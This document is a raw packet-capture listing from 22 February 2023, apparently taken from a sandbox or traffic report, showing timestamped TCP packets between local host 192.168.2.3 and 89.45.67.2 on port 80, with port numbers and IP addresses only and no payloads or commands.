Feb 22, 2023 09:43:57.955790043 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.955802917 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.955840111 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.956168890 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.956190109 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.956254005 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.956290007 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.956816912 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.956840992 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.956909895 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.956912994 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.956933975 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.956957102 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.957112074 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.957705021 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.957729101 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.957787991 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.957792997 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.957809925 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.957911015 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.957936049 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.957967043 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.958000898 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.958036900 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.958081007 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.958167076 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.958662033 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.958683014 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.958756924 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.958770990 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.958899975 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.959011078 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.959031105 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.959072113 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.959182024 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.962089062 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.964204073 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.998846054 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.998872042 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.998984098 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.999296904 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.999321938 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.999366999 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.999387026 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.999425888 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.999737978 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.999806881 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.999823093 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:57.999871016 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.999927044 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:57.999937057 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.000042915 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.000756979 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.000778913 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.000818968 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.000899076 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.000905037 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.001007080 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.001023054 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.001044035 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.001058102 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.001095057 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.001189947 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.001707077 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.001771927 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.001848936 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.001924992 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.001972914 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.002049923 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.002115965 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.002177000 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.007493019 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.007518053 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.007563114 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.007590055 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.042166948 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.042197943 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.042315006 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.042509079 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.042614937 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.042675018 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.042788982 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.042788982 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.042865038 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.042892933 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.042946100 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.043750048 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.043790102 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.043853045 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.043920994 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.043936014 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.044020891 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.044054031 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.044136047 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.044720888 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.044795990 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.044814110 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.045031071 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.045144081 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.050657988 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.050683022 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.085453033 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.085659981 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.085937023 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.085958958 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.086651087 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.091747999 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.313128948 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:43:58.335222006 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:43:58.335454941 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:03.481355906 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:03.527079105 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:03.610454082 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:06.646372080 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:06.647674084 CET	49717	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:06.689635038 CET	80	49719	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:06.689872980 CET	49719	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:06.690661907 CET	80	49717	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:06.690790892 CET	49717	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:06.726294994 CET	49720	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:06.769366980 CET	80	49720	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:06.769555092 CET	49720	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:06.812726021 CET	80	49720	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:06.812872887 CET	49720	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:06.855967045 CET	80	49720	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:06.858583927 CET	80	49720	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:06.933728933 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:06.976751089 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:06.976893902 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.001369953 CET	49720	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.020001888 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.020128012 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.063195944 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.063227892 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.067837954 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.068075895 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.068156958 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.111136913 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.111167908 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.111185074 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.111376047 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.111474991 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.154496908 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.154522896 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.154537916 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.154555082 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.154592991 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.154675961 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.154690027 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.154829979 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.154829979 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.154880047 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.154931068 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.197985888 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198016882 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198033094 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198048115 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198062897 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198100090 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198117971 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198229074 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198256969 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.198297977 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198338032 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198362112 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.198462009 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.198479891 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198497057 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198537111 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.198550940 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198672056 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.198719978 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.198802948 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.198864937 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.198934078 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.238102913 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.238214970 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.241281986 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.241373062 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.241429090 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.241450071 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.241488934 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.241554976 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.241575003 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.241650105 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.241663933 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.241736889 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.241754055 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.241753101 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.241753101 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.241800070 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.241821051 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.241857052 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.241877079 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.241893053 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.241906881 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.241936922 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.241959095 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.241964102 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242002010 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242017031 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242047071 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242060900 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242105007 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242161036 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242177963 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242188931 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242208004 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242244959 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242266893 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242266893 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242268085 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242300034 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242330074 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242342949 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242345095 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242357016 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242398024 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242436886 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242495060 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242496014 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242516041 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242539883 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242582083 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242582083 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242604971 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.242640972 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.242655993 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.281269073 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.281339884 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.284488916 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.284514904 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.284574032 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.284607887 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.284607887 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.284657001 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.284707069 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.284723043 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.284768105 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.284789085 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.284790039 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.284835100 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.284892082 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.284953117 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.284976006 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.284991026 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285010099 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285029888 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285029888 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285074949 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285095930 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285104036 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285114050 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285124063 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285156012 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285180092 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285180092 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285223007 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285238981 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285240889 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285281897 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285296917 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285398960 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285424948 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285445929 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285466909 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285476923 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285485983 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285476923 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285510063 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285553932 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285576105 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285618067 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285645008 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285645008 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285665989 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285686970 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285722017 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285764933 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285775900 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285787106 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285804033 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285819054 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285823107 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285835028 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285841942 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285851955 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.285856962 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285945892 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285969973 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.285973072 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.286003113 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.286016941 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.286053896 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.286075115 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.286123991 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.286123991 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.286123991 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.327696085 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.327723026 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.327739954 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.327759981 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.327833891 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.327833891 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.327905893 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.327924013 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.327934980 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.328123093 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.328135014 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.328161001 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.328228951 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.328228951 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.328264952 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.328351021 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.328468084 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.328490019 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.328511953 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.328579903 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.328581095 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.328630924 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.328790903 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.328900099 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.328959942 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.328959942 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.328973055 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.329000950 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.329130888 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.329150915 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.329222918 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.329298973 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.329334021 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.329336882 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.329426050 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.329447031 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.329462051 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.329462051 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.329529047 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.329529047 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.329538107 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.329566002 CET	49721	80	192.168.2.3	89.45.67.2
